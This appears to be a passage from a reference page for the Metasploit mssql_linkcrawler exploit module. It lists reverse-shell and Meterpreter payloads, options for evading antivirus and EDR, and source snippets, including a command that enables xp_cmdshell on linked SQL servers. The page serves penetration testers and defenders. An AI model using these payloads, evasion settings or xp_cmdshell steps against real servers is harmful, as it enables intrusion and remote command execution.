165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
190 payload/windows/x64/exec normal No Windows x64 Execute Command
191 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
192 payload/windows/x64/messagebox normal No Windows MessageBox x64
193 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
194 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
195 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
196 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
197 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
198 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
199 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
200 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
201 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
202 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
203 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
204 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
205 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
206 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
207 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
208 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
209 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
210 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
211 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
212 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
213 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
214 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
215 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
216 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
217 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
218 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
219 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
220 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
221 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
222 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
223 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
224 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
225 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
226 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
227 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
228 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
229 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
230 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
231 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
232 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
233 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
234 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
235 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
236 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
237 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
238 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
239 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
240 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
241 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
242 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
243 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
244 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
245 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
246 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
247 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
248 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
249 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/mssql/mssql_linkcrawler exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/mssql/mssql_linkcrawler) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid SQL Server credentials
Here is a relevant code snippet related to the "Invalid SQL Server credentials" error message:
78:
79: # Check if credentials are correct
80: print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
81:
82: if !mssql_login_datastore
83: print_error("Invalid SQL Server credentials")
84: print_status("-------------------------------------------------")
85: return
86: end
87:
88: # Define master array to keep track of enumerated database information
Linked Server: <NAME>
Here is a relevant code snippet related to the "Linked Server: <NAME>" error message:
216: linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
217:
218: # Display status to user
219: if datastore['VERBOSE']
220: print_status(" ")
221: print_error("Linked Server: #{name} ")
222: print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
223: print_status(" Failure could be due to:")
224: print_status(" - A dead server")
225: print_status(" - Bad credentials")
226: print_status(" - Nested open queries through SQL 2000")
o Link Path: <VALUE> -> <VALUE> - Connection Failed
Here is a relevant code snippet related to the "o Link Path: <VALUE> -> <VALUE> - Connection Failed" error message:
217:
218: # Display status to user
219: if datastore['VERBOSE']
220: print_status(" ")
221: print_error("Linked Server: #{name} ")
222: print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
223: print_status(" Failure could be due to:")
224: print_status(" - A dead server")
225: print_status(" - Bad credentials")
226: print_status(" - Nested open queries through SQL 2000")
227: else
Link Path: <VALUE> -> <VALUE> - Connection Failed
Here is a relevant code snippet related to the "Link Path: <VALUE> -> <VALUE> - Connection Failed" error message:
223: print_status(" Failure could be due to:")
224: print_status(" - A dead server")
225: print_status(" - Bad credentials")
226: print_status(" - Nested open queries through SQL 2000")
227: else
228: print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
229: end
230: end
231: }
232: }
233: end
xp_cmdshell is not enabled on
Here is a relevant code snippet related to the "xp_cmdshell is not enabled on" error message:
411: sql = query_builder_rpc(path,"",0,execute)
412: result = mssql_query(sql, false) if mssql_login_datastore
413: end
414:
415: # Enabling xp_cmdshell
416: print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
417: execute = "sp_configure 'xp_cmdshell',1;reconfigure"
418: sql = query_builder_rpc(path,"",0,execute)
419: result = mssql_query(sql, false) if mssql_login_datastore
420: end
421:
<NAME> is not on the deploy list
Here is a relevant code snippet related to the "<NAME> is not on the deploy list" error message:
447: shelled << name
448: else
449: print_status("Payload already deployed on #{name}")
450: end
451: elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
452: print_status("\t - #{name} is not on the deploy list")
453: end
454: end
455: else
456: print_error("\t - Unable to enable xp_cmdshell on " + name)
457: end
Unable to enable xp_cmdshell on
Here is a relevant code snippet related to the "Unable to enable xp_cmdshell on" error message:
451: elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
452: print_status("\t - #{name} is not on the deploy list")
453: end
454: end
455: else
456: print_error("\t - Unable to enable xp_cmdshell on " + name)
457: end
458:
459: # Revert soa and xp_cmdshell to original state
460: if xpcmdOrig == 0 and xpcmdNow == 1
461: print_status("\t - Disabling xp_cmdshell on " + name)
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8960 Merged Pull Request: spelling/grammar fixes part 3
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6644 Merged Pull Request: Preserve default types for datastore options
- #6076 Merged Pull Request: Enable 64-bit payloads for MSSQL modules
- #5527 Merged Pull Request: Fix inconstancy - multi/handler
- #4832 Merged Pull Request: Fix duplicate hash keys
- #3448 Merged Pull Request: Fix broken table indent (s/Ident/Indent/ hash key)
- #3348 Merged Pull Request: fixed some ruby warnings
- #2525 Merged Pull Request: Change module boilerplate
- #977 Merged Pull Request: Microsoft SQL Database Link Crawler
References
- CVE: Not available
- http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012
- http://msdn.microsoft.com/en-us/library/ms188279.aspx
- http://www.exploit-monday.com/2011_10_16_archive.html
See Also
Check also the following modules related to this module:
- exploit/windows/mssql/mssql_clr_payload
- exploit/windows/mssql/mssql_payload
- exploit/windows/mssql/mssql_payload_sqli
- exploit/windows/mssql/lyris_listmanager_weak_pass
- exploit/windows/mssql/ms02_039_slammer
- exploit/windows/mssql/ms02_056_hello
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
- auxiliary/admin/mssql/mssql_enum
- auxiliary/admin/mssql/mssql_enum_domain_accounts
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_enum_sql_logins
- auxiliary/admin/mssql/mssql_escalate_dbowner
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_exec
- auxiliary/admin/mssql/mssql_findandsampledata
- auxiliary/admin/mssql/mssql_idf
- auxiliary/admin/mssql/mssql_ntlm_stealer
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/mssql/mssql_sql
- auxiliary/admin/mssql/mssql_sql_file
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mssql/mssql_login
- auxiliary/scanner/mssql/mssql_ping
- auxiliary/scanner/mssql/mssql_schemadump
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/manage/mssql_local_auth_bypass
- auxiliary/server/capture/mssql
Authors
- Antti Rantasaari <antti.rantasaari[at]netspi.com>
- Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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